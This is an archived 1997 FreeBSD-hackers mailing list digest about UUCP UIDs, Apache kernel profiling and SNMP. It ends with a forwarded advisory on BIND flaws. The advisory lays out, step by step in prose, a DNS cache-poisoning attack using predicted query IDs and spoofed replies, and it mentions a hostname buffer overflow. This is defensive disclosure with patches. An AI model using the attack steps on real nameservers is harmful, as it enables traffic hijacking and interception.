(sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA18169 for ; Fri, 30 May 1997 17:21:57 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id CAA14279 for hackers@FreeBSD.ORG; Sat, 31 May 1997 02:21:54 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id CAA09499; Sat, 31 May 1997 02:08:26 +0200 (MET DST) Message-ID: <19970531020825.GN62992@uriah.heep.sax.de> Date: Sat, 31 May 1997 02:08:25 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: uucp uid's References: <19970530085744.UT50834@uriah.heep.sax.de> <199705301648.JAB07926@seagull.rtd.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705301648.JAB07926@seagull.rtd.com>; from Don Yuniskis on May 30, 1997 09:48:43 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Don Yuniskis wrote: > If each UUCP dialup account has a unique login and that is compromised, you > can tell exactly where the problem originated, can disable that *single* > account ... But that doesn't require distinct UIDs. (Forging UUCP mail is about as easy as forging SMTP mail, except for the latter, you never need a password at all.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri May 30 18:17:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA20165 for hackers-outgoing; Fri, 30 May 1997 18:17:00 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA20160 for ; Fri, 30 May 1997 18:16:58 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id SAA23468; Fri, 30 May 1997 18:16:45 -0700 (MST) From: Don Yuniskis Message-Id: <199705310116.SAA23468@seagull.rtd.com> Subject: Re: uucp uid's To: joerg_wunsch@uriah.heep.sax.de Date: Fri, 30 May 1997 18:16:45 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970531020825.GN62992@uriah.heep.sax.de> from "J Wunsch" at May 31, 97 02:08:25 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that J Wunsch said: > As Don Yuniskis wrote: > > > If each UUCP dialup account has a unique login and that is compromised, you > > can tell exactly where the problem originated, can disable that *single* > > account ... > > But that doesn't require distinct UIDs. How? Since *any* UUCP account can masquerade as another "system" and they all appear in your uucp and wtmp logs as "nuucp" (or whatever *single* uid you have them using), how do you determine which account is being used to send spam, etc. > (Forging UUCP mail is about as easy as forging SMTP mail, except for > the latter, you never need a password at all.) Yes. But how do you chase down "undesired" UUCP activity if you can't at least determine which *possible* UUCP dialin was being used? There are other mechanisms that you can employ to cut down on SMTP abuses (i.e. refusing to act as a relay for mail, verifying the identity of the host, etc.) but UUCP has very few defenses -- why discard one that's as easy to implement as simply adding a line to /etc/passwd? --don From owner-freebsd-hackers Fri May 30 18:32:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA20603 for hackers-outgoing; Fri, 30 May 1997 18:32:49 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA20598 for ; Fri, 30 May 1997 18:32:47 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/8.7.3) with SMTP id VAA28986; Fri, 30 May 1997 21:32:41 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id VAA13721; Fri, 30 May 1997 21:32:39 -0400 Date: Fri, 30 May 1997 21:32:24 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: FreeBSD-multimedia@glue.umd.edu cc: FreeBSD-Hackers Subject: audio devices Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Does anyone know what the absolute reference is for the major and minor numbers for the audio devices, like /dev/audio, dsp, dsp0, midi, music, etc? I am not looking for the numbers, I can go do an ls -l of my /dev for that. I'm trying to find the definitive guide for them. If I can get a reference I trust, I'll go hunt thru the NAS port and fix it. These values have undergone some changes and experimentation inthe past, as various folks (Amancio, take a bow here) have worked to improve things. I think that's the reason that NAS might be wrong, and if I make a change here, I want to be able to point at the reason why I think I did it right. I know how to do the changes I want to do, its making sure I get the numbers right, beyond argument, that's important. If I knew where the MAKEDEV script came from in the CVS tree, I would take that as a reference ... anyone know? ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Fri May 30 18:49:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA21158 for hackers-outgoing; Fri, 30 May 1997 18:49:56 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA21153 for ; Fri, 30 May 1997 18:49:51 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.8.5/8.8.5) with SMTP id SAA01880; Fri, 30 May 1997 18:49:03 -0700 (PDT) X-Authentication-Warning: misery.sdf.com: tom owned process doing -bs Date: Fri, 30 May 1997 18:49:02 -0700 (PDT) From: Tom Samplonius To: Joe McGuckin cc: freebsd-hackers@FreeBSD.ORG Subject: Re: SNMP for freebsd? In-Reply-To: <199705302234.PAA10187@monk.via.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 30 May 1997, Joe McGuckin wrote: > > Is there a snmp daemon that will monitor such things as interface stats > for FreeBSD? > > joe > > ucd-snmp in ports. Tom From owner-freebsd-hackers Fri May 30 18:52:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA21312 for hackers-outgoing; Fri, 30 May 1997 18:52:27 -0700 (PDT) Received: from whizzo.transsys.com (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA21307 for ; Fri, 30 May 1997 18:52:25 -0700 (PDT) Received: from localhost.transsys.com (localhost.transsys.com [127.0.0.1]) by whizzo.transsys.com (8.8.5/8.7.3) with SMTP id VAA14889; Fri, 30 May 1997 21:52:21 -0400 (EDT) Message-Id: <199705310152.VAA14889@whizzo.transsys.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: jack cc: hackers@FreeBSD.ORG From: "Louis A. Mamakos" Subject: Re: Stock Offering (IPO) References: In-reply-to: Your message of "Fri, 30 May 1997 17:59:40 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Fri, 30 May 1997 21:52:21 -0400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id SAA21308 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk For special occasions such as this, I'm sure to notify the Securities and Exchange Commission about receiving unsolicited invitations to purchase stock or other securities. These bozos will be filing plenty 'o paperwork with the SEC for their IPO; it's a very special time. Take a quick trip over to http://www.sec.gov/enforce/comctr.htm and you'll find the enforcement@sec.gov mailbox. Oh, and also be sure to call them too, and mention that you don't generally invest in companies which send email spam. louie > On Fri, 30 May 1997 mailbox@22354.com wrote: > > > New Issue, April 2, 1997 > > Allied Lodgic Corporation > > LOGIC > > 200,000 Shares Of Common Stock > > PRICE $5.00 PER SHARE > > > ALLIED LOGIC CORPORATION > > 100 Golden Drive • Durham, NC 27705 > > Telephone: (800) 564-4225 • Fax: (919) 382-0585 > > Excuse me while I dash across the street to the bank of public phones. :) > > -------------------------------------------------------------------------- > Jack O'Neill Finger jacko@diamond.xtalwind.net or > jack@xtalwind.net http://www.xtalwind.net/~jacko/pubpgp.html > #include for my PGP key. > PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD > -------------------------------------------------------------------------- > From owner-freebsd-hackers Fri May 30 19:45:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA23961 for hackers-outgoing; Fri, 30 May 1997 19:45:09 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA23953 for ; Fri, 30 May 1997 19:45:04 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id TAA13997; Fri, 30 May 1997 19:43:29 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd013995; Sat May 31 02:43:27 1997 Message-ID: <338F9023.41C67EA6@whistle.com> Date: Fri, 30 May 1997 19:42:43 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 Newsgroups: comp.infosystems.www.servers.unix CC: julian@alpo.whistle.com, hackers@freebsd.org Subject: WHy does Appache eat my system? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've been doing some kernel profiling on a freeBSD system, trying to figure out why I have 0% idle and 60% in the kernel. I haven't tracked it all down but here are a few bits of the traces... Apache seems to be the main culprit. does anyoen who really knows apache heve any suggestions? ---------begin Kernel syscall trace extract----- 10077 httpd 865038863.248455 RET read 8192/0x2000 10077 httpd 865038863.249045 CALL break(0x13e000) 10077 httpd 865038863.249476 RET break 0 10077 httpd 865038863.249817 CALL break(0x140000) 10077 httpd 865038863.250209 RET break 0 10077 httpd 865038863.250547 CALL break(0x142000) 10077 httpd 865038863.250936 RET break 0 10077 httpd 865038863.251277 CALL break(0x144000) 10077 httpd 865038863.251665 RET break 0 10077 httpd 865038863.252005 CALL break(0x146000) 10077 httpd 865038863.252394 RET break 0 10077 httpd 865038863.252732 CALL break(0x148000) 10077 httpd 865038863.253117 RET break 0 10077 httpd 865038863.253454 CALL break(0x14a000) 10077 httpd 865038863.254057 RET break 0 10077 httpd 865038863.254463 CALL break(0x14c000) 10077 httpd 865038863.254860 RET break 0 10077 httpd 865038863.255196 CALL break(0x14e000) 10077 httpd 865038863.255579 RET break 0 ### this continues for a while 10077 httpd 865038863.312158 CALL break(0x1e6000) 10077 httpd 865038863.312546 RET break 0 10077 httpd 865038863.312879 CALL break(0x1e8000) 10077 httpd 865038863.313263 RET break 0 10077 httpd 865038863.313598 CALL break(0x1ea000) ---------end extract-- 'break' is the 'brk()' syscall. This occurs apparently on every request.. it's just spent about 60 msec doing basically nothing but picking up 8K pages of memeory from the kernel. I can't help thinking that this must be able to be made better. when the request is serviced, it is ALL thrown back. and the next request goes and fetches it again. A dump of a kernel execution profile at the same time shows the following: --begin extract--------------------------------------------- 13.23 63.35 614785/614785 _Xsyscall [2] [3] 78.1 13.23 63.35 614785 _syscall [3] 2.61 19.49 415263/415263 _obreak [4] 0.52 10.42 47275/47275 _read [7] 0.26 4.45 17514/17514 _write [17] 0.07 4.63 7122/7122 _stat [18] 1.13 3.39 9210/9210 _select [19] 0.11 3.82 6206/6206 _open [23] 2.87 0.00 613302/671847 _generic_copyin[29] 0.05 0.73 5868/5868 _fstat [77] 0.09 0.61 8722/8722 _flock [79] 0.01 0.65 937/937 _lstat [87] 0.05 0.60 7391/7391 _close [88] ---end extract-- this shows that 19% of all system time was being spent in obreak() (which is the brk() syscall.) over a 100 second period there were 415263 calls to it (4000 per second?) which nearly all came from apache. Has anyone done anything on this? our system is limited to 6 servers so each is doing 800 brk() calls per second!(in fact in my traces they are nearly all done by a couple of the servers. I am also tracking more such innefficiencies, but this is the obvious one to start with :) If not I will work on it and make the results available but I hate to duplicate work by others. julian (julian@freebsd.org, julian@whistle.com) From owner-freebsd-hackers Fri May 30 20:19:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25298 for hackers-outgoing; Fri, 30 May 1997 20:19:37 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA25292 for ; Fri, 30 May 1997 20:19:35 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.5/8.8.5) with ESMTP id UAA00411; Fri, 30 May 1997 20:19:24 -0700 (PDT) Message-Id: <199705310319.UAA00411@rah.star-gate.com> X-Mailer: exmh version 1.6.9 8/22/96 To: Tom Samplonius cc: Joe McGuckin , freebsd-hackers@FreeBSD.ORG Subject: Re: SNMP for freebsd? In-reply-to: Your message of "Fri, 30 May 1997 18:49:02 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 May 1997 20:19:24 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Great! Does it work with -current? Tnks, Amancio >From The Desk Of Tom Samplonius : > > On Fri, 30 May 1997, Joe McGuckin wrote: > > > > > Is there a snmp daemon that will monitor such things as interface stats > > for FreeBSD? > > > > joe > > > > > > ucd-snmp in ports. > > Tom > From owner-freebsd-hackers Fri May 30 20:23:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25522 for hackers-outgoing; Fri, 30 May 1997 20:23:12 -0700 (PDT) Received: from freefall.freebsd.org (freefall.cdrom.com [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA25517 for ; Fri, 30 May 1997 20:23:09 -0700 (PDT) From: Julian Elischer Received: (from julian@localhost) by freefall.freebsd.org (8.8.5/8.8.5) id UAA17301 for hackers; Fri, 30 May 1997 20:22:51 -0700 (PDT) Date: Fri, 30 May 1997 20:22:51 -0700 (PDT) Message-Id: <199705310322.UAA17301@freefall.freebsd.org> To: hackers@FreeBSD.ORG Subject: Thundering herd. Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk hmm with processes doing a select on a socket.. here's an example from a ktrace'd kernel. 327 httpd 865038867.185613 CSW resume kernel 327 httpd 865038867.185955 CSW stop kernel 320 httpd 865038867.186244 CSW resume kernel 320 httpd 865038867.187107 CSW stop kernel 183 xlated 865038867.187475 CSW resume kernel 183 xlated 865038867.187767 CSW stop kernel 213 inetd 865038867.188044 CSW resume kernel 213 inetd 865038867.188335 CSW stop kernel 169 routed 865038867.188645 CSW resume kernel 169 routed 865038867.188961 CSW stop kernel 200 dhcpd 865038867.189294 CSW resume kernel 200 dhcpd 865038867.189626 CSW stop kernel 800 telnetd 865038867.189910 CSW resume kernel 800 telnetd 865038867.190232 CSW stop kernel 10166 httpd 865038867.190535 CSW resume kernel 10166 httpd 865038867.190853 RET select 1 10166 httpd 865038867.191171 CALL sigaction(0x1e,0xefbfdd44,0xefbfdd38) 10166 httpd 865038867.191468 RET sigaction 0 10166 httpd 865038867.191732 CALL accept(0x6,0xefbfdd74,0xefbfdd70) 10166 httpd 865038867.192080 RET accept 7 10166 httpd 865038867.192366 CALL sigaction(0x1e,0xefbfdd44,0xefbfdd38) 10166 httpd 865038867.192645 RET sigaction 0 10166 httpd 865038867.192926 CALL getsockname(0x7,0xefbfdd84,0xefbfdd70) 10166 httpd 865038867.193246 RET getsockname 0 10166 httpd 865038867.193518 CALL setsockopt(0x7,0x6,0x1,0xefbfdd50,0x4) 10352 httpd 865038867.194071 CSW resume kernel 10352 httpd 865038867.194387 CSW stop kernel 8735 telnetd 865038867.194681 CSW resume kernel 8735 telnetd 865038867.195075 CSW stop kernel 206 inetd 865038867.195393 CSW resume kernel 206 inetd 865038867.195701 CSW stop kernel 363 atalkd 865038867.195992 CSW resume kernel 363 atalkd 865038867.196330 CSW stop kernel 194 named 865038867.196634 CSW resume kernel 194 named 865038867.196954 CSW stop kernel 334 xntpd 865038867.197250 CSW resume kernel 334 xntpd 865038867.197556 CSW stop kernel 108 syslogd 865038867.197843 CSW resume kernel 108 syslogd 865038867.198150 CSW stop kernel 10077 httpd 865038867.198477 CSW resume kernel 10077 httpd 865038867.198778 CSW stop kernel 38 restartd 865038867.199095 CSW resume kernel 38 restartd 865038867.199394 CSW stop kernel 433 telnetd 865038867.199693 CSW resume kernel 433 telnetd 865038867.200010 CSW stop kernel 370 nmbd 865038867.200320 CSW resume kernel 370 nmbd 865038867.200623 CSW stop kernel 137 mpd 865038867.200933 CSW resume kernel 137 mpd 865038867.201318 CSW stop kernel 78 paneld 865038867.201646 CSW resume kernel 78 paneld 865038867.201970 CSW stop kernel 10166 httpd 865038867.202289 RET setsockopt 0 one 'wakeup' and a whole bunch of processes were woken up.. can't we do better than that? this is in 2.2+ julian p.s. yes it only wasted 10mSec (probably less without ktrace) but I thought we had got around this.. From owner-freebsd-hackers Fri May 30 20:26:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25632 for hackers-outgoing; Fri, 30 May 1997 20:26:36 -0700 (PDT) Received: from mole.mole.org (marmot.mole.org [204.216.57.191]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA25627 for ; Fri, 30 May 1997 20:26:33 -0700 (PDT) Received: (from mail@localhost) by mole.mole.org (8.6.12/8.6.12) id DAA07449; Sat, 31 May 1997 03:26:15 GMT Received: from meerkat.mole.org(206.197.192.110) by mole.mole.org via smap (V1.3) id sma007447; Sat May 31 03:26:04 1997 Received: (from mrm@localhost) by meerkat.mole.org (8.6.11/8.6.9) id UAA13385; Fri, 30 May 1997 20:26:03 -0700 Date: Fri, 30 May 1997 20:26:03 -0700 From: "M.R.Murphy" Message-Id: <199705310326.UAA13385@meerkat.mole.org> To: dgy@rtd.com, joerg_wunsch@uriah.heep.sax.de Subject: Re: uucp uid's Cc: hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > If each UUCP dialup account has a unique login and that is compromised, you > can tell exactly where the problem originated, can disable that *single* > account (vs. *all* of them) without affecting service to other accounts > and can go in search of how the problem originated in the first place. Each UUCP dialup account can have a unique login without having a unique UID :-) That's not to say I don't think a unique UID is good, just that it can be done. I _do_ think unique UID's are a good thing. > > > The only argument that made sense so far was somebody who wanted to > > run process accounting for them. That was me ... it was on a System V R2 box that's been running for over 10 years, first as a '286, then a '386, now a '486DLC (all with the same software). It's about to be decomissioned. It still does full accounting, but now only does UUCP over TCP since its phone lines were disconnected. > > UUCP itself is a dinosaur. Yet, I see several places that use UUCP as > their sole connection to the electronic world. Kinda tough to force > a client/customer to do things *your* way when *he's* paying the bills! :> > > --don > UUCP was a good dinosaur. It still has advantages in this highly interconnected world. I especially liked the multiple connectivity fishnet rather than the cluster connected net we now have. More hrummmph. :-) -- Mike Murphy mrm@Mole.ORG +1 619 598 5874 Better is the enemy of Good From owner-freebsd-hackers Fri May 30 21:05:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA02983 for hackers-outgoing; Fri, 30 May 1997 21:05:12 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA02966 for ; Fri, 30 May 1997 21:05:01 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id VAA29634; Fri, 30 May 1997 21:03:23 -0700 (MST) From: Don Yuniskis Message-Id: <199705310403.VAA29634@seagull.rtd.com> Subject: Re: uucp uid's To: mrm@Mole.ORG (M.R.Murphy) Date: Fri, 30 May 1997 21:03:22 -0700 (MST) Cc: dgy@rtd.com, joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG In-Reply-To: <199705310326.UAA13385@meerkat.mole.org> from "M.R.Murphy" at May 30, 97 08:26:03 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > If each UUCP dialup account has a unique login and that is compromised, you > > can tell exactly where the problem originated, can disable that *single* > > account (vs. *all* of them) without affecting service to other accounts > > and can go in search of how the problem originated in the first place. > > Each UUCP dialup account can have a unique login without having a unique > UID :-) That's not to say I don't think a unique UID is good, just that > it can be done. I _do_ think unique UID's are a good thing. Yes, I currently have nuucp and xuucp sharing a uid. However, I had intended to indicate unique *uids* in the above statement. As in uhost1:900:... uhost2:901:... etc. > > UUCP itself is a dinosaur. Yet, I see several places that use UUCP as > > their sole connection to the electronic world. Kinda tough to force > > a client/customer to do things *your* way when *he's* paying the bills! :> > > UUCP was a good dinosaur. It still has advantages in this highly > interconnected world. I especially liked the multiple connectivity > fishnet rather than the cluster connected net we now have. Yes. And a good deal of the population doesn't have direct IP connectivity, etc. --don From owner-freebsd-hackers Fri May 30 21:37:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA05364 for hackers-outgoing; Fri, 30 May 1997 21:37:16 -0700 (PDT) Received: from air.infinetgroup.com (air.infinetgroup.com [207.23.43.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA05342; Fri, 30 May 1997 21:37:10 -0700 (PDT) Received: from localhost (lenc@localhost) by air.infinetgroup.com (8.8.5/8.8.4) with SMTP id VAA07898; Fri, 30 May 1997 21:36:24 -0700 (PDT) Date: Fri, 30 May 1997 21:36:24 -0700 (PDT) From: Leonard Chua To: freebsd-hackers@freebsd.org cc: freebsd-isp@freebsd.org Subject: BIND security Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, sorry 'bout the bandwidth use, but thought this might be important. Any1 know if freeBSD 2.2 is affected? -----BEGIN PGP SIGNED MESSAGE----- ###### ## ## ###### ## ### ## ## ###### ## # ## ## ## ## ### ## ###### . ## ## . ######. Secure Networks Inc. AND CORE Seguridad de la Informacion Security Advisory April 22, 1997 BIND Vulnerabilities and Solutions Problem Description ~~~~~~~~~~~~~~~~~~~ This advisory contains descriptions and solutions for two vulnerabilities present in current BIND distributions. These vulnerabilities are actively being exploited on the Internet. I. The usage of predictable IDs in queries and recursed queries allows for remote cache corruption. This allows malicious users to alter domain name server caches to change the addresses and hostnames of hosts on the internet. II. A failure to check whether hostname lengths exceed MAXHOSTNAMELEN in size. This results in potential buffer overflows in programs which expect the BIND resolver to only return a maximum hostname length of MAXHOSTNAMELEN. Problem I. The usage of predictable ID's ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Problem I. - Impact ~~~~~~~~~~~~~~~~~~~ Remote root users can poison BIND and Microsoft Windows NT name server caches by forging UDP packets. We should note that unlike other well documented attacks, in this instance it is NOT necessary for the attacker to take over a DNS server or sniff the target network. Problem I. - Technical Details ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This particular cache corruption attack requires that the target nameserver be configured to allow recursion. Recursion allows a nameserver to handle requests for zones or domains which it does not serve. When receiving a query for a zone or domain which is not served by the name server, the name server will transmit a query to a nameserver which serves the desired domain. Once a response is received from the second nameserver, the first nameserver sends the response back to the requesting party. The following attack is outlined in the paper "Addressing weaknesses in the Domain Name System Protocol" by Christopher Schuba and Eugene Spafford [6]. To the extent of our knowledge, this problem has not been previously addressed. The paper also assumes that the attacker has super-user access to a primary nameserver, here we demonstrate that this is not necessary nor are source routed packets required. Using the recursion feature, one can poison the cache on a name server with the following procedure: Problem I. - The Players ~~~~~~~~~~~~~~~~~~~~~~~~ . HOST.ATTACKER.COM is the attacking host. . DNS.ATTACKER.COM is ATTACKER.COM's nameserver, we presume that this is the only name server for ATTACKER.COM to simplify the description. . DNS.TARGET.COM is the target nameserver which runs BIND. What we will attempt to do is add an A (address) resource record on DNS.TARGET.COM that will resolve WWW.SPOOFED.COM to 127.0.0.1. We are sure that WWW.SPOOFED.COM is not cached in DNS.TARGET.COM's DNS cache. . DNS.SPOOFED.COM is the nameserver for SPOOFED.COM's domain. We have determined this before the attack begins. Once again we just presume its the only one in order to simplify this description. Problem I. - The Attack ~~~~~~~~~~~~~~~~~~~~~~~ A. First a query is sent to DNS.TARGET.COM asking for the address of UNKNOWN.ATTACKER.COM. Our query has the recursion desired bit set, meaning that if the nameserver we are querying has recursion enabled, it will query another nameserver with our query (assuming it does not have the information cached). B. DNS.TARGET.COM will first determine who serves the ATTACKER.COM domain, then it will build a query packet and send it to DNS.ATTACKER.COM. C. We sniff DNS.ATTACKER.COM's local network and retrieve the query packet sent by DNS.TARGET.COM to DNS.ATTACKER.COM. We can then determine the query ID (qid0) used by DNS.TARGET.COM. Chances are that the next queries generated by DNS.TARGET.COM will have query IDs that will fall in the range [qid0,qid0+N] where N is dependent on the amount of queries DNS.TARGET.COM is generating in the period of time on which the attack takes place. N is usually <= 10 for most cases. D. Once we have determined what the next query ID generated will be, we send a query to DNS.TARGET.COM asking for WWW.SPOOFED.COM's address. E. Then we start sending spoofed DNS replies from DNS.SPOOFED.COM, telling DNS.TARGET.COM that WWW.SPOOFED.COM is '127.0.0.1'. F. If we guessed the query ID used by DNS.TARGET.COM in its recursed query and our response is received first, our response will be taken as valid and the address will be cached. Subsequent responses will be discarded as duplicates. We can always send many (N*M) spoofed packets with different IDs in the range (qid0,qid0+N] so we will be sure that at least one of them will hit DNS.TARGET.COM and have the 'right' ID. M is a factor dependent of the amount of UDP packets we expect to lose on their way to DNS.TARGET.COM. Problem I. - The Result ~~~~~~~~~~~~~~~~~~~~~~~ If the attack succeeded, any query to DNS.TARGET.COM asking for WWW.SPOOFED.COM's address, will get 127.0.0.1 as a response. Thus, any user on TARGET.COM's domain will connect to 127.0.0.1 if they try to contact WWW.SPOOFED.COM. The usage of 127.0.0.1 in this description is of course for instructional purposes, any IP address can be used, in particular an attacker could use its own IP address (BADGUY.COM's IP) so all connections to 'host' will go to 'BADGUY'. The attacker can then 'impersonate' WWW.SPOOFED.COM. Given this attack, it is easy to visualize the effects of impersonating a high traffic FTP distribution site. This attack can also be used to intercept email traffic, and bypass address based authentication methods, including TCP wrappers and firewalls. Problem I. - Notes ~~~~~~~~~~~~~~~~~~ This attack depends on a few things to succeed: 1. The attacker has complete control of DNS.ATTACKER.COM's network, he can both spoof and sniff DNS packets there. In particular, he can sniff DNS packets sent to DNS.ATTACKER.COM. 2. Spoofed DNS responses sent from the attacker to DNS.TARGET.COM must be received before the legit response from DNS.SPOOFED.COM. This is very easy to achieve. In testing we have not yet encountered a situation where we could not get our packets to the nameserver first. 3. The name server on DNS.TARGET.COM supports recursion and caches responses. This is common practice. It should be noted that most nameservers allow recursion (unless specifically denied by configuration options). Root name servers, however, do not allow recursion. If DNS.TARGET.COM caches negative responses as well (NCACHE), a denial of service attack can be performed, in this case, spoofed responses sent by the attacker will tell DNS.TARGET.COM that WWW.SPOOFED.COM does not exist (and be authorative on this). The existence of several nameservers for the domains does not alter the basic outline of this attack. The attacker would only need to send DNS responses with source addresses of each of SPOOFED.COM's nameservers. (N*M*I responses, where I is the number of nameservers). Problem I. - Systems Affected ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - - All systems using BIND as their domain name server with recursion enabled. - - Windows NT (server) version 3.51 & 4.0 DNS server. Microsoft has been notified and has acknowledged this is a serious problem. No information on a fix is availible. Problem II. Hostname length checking ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Problem II. - Impact ~~~~~~~~~~~~~~~~~~~~ BIND allows passing of hostnames larger than MAXHOSTNAMELEN in size to programs. As many programs utilize buffers of size MAXHOSTNAMELEN and copy the results from a query into these buffers, an overflow can occur. This can allow an attacker to execute arbitrary commands on a remote server in a worst case scenario. Problem II. - Systems Affected ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ All systems running BIND. Fix Information ~~~~~~~~~~~~~~~ Obtain BIND version 4.9.5-P1. BIND is availible from ftp.isc.org in the directory /isc/bind/src. Patches to solve both problem I and problem II are included at the end of this advisory. Once BIND has been obtained, follow the following procedure: i. First remove the patches from this text. This can be performed by removing all text in between the "CUT HERE" lines, and saving it to a text file (i.e. /tmp/diffs.txt). ii. Perform the following operations to apply the patches: % gzip -d bind.tar.gz % mkdir bind % cd bind % tar -xvf ../bind.tar % patch < /tmp/diffs.txt iii. Rebuild BIND Attributions ~~~~~~~~~~~~ Ivan Arce Emiliano Kargieman The OpenBSD Project Who found a good solution to problem, developed a solution and performed various tests to ensure its correctness. Individuals involved in this effort were: Theo de Raadt Niels Provos Todd Miller Allen Briggs Further attributions: AUSCERT David Sacerdote Oliver Friedrichs Alfred Huger Additional Information: 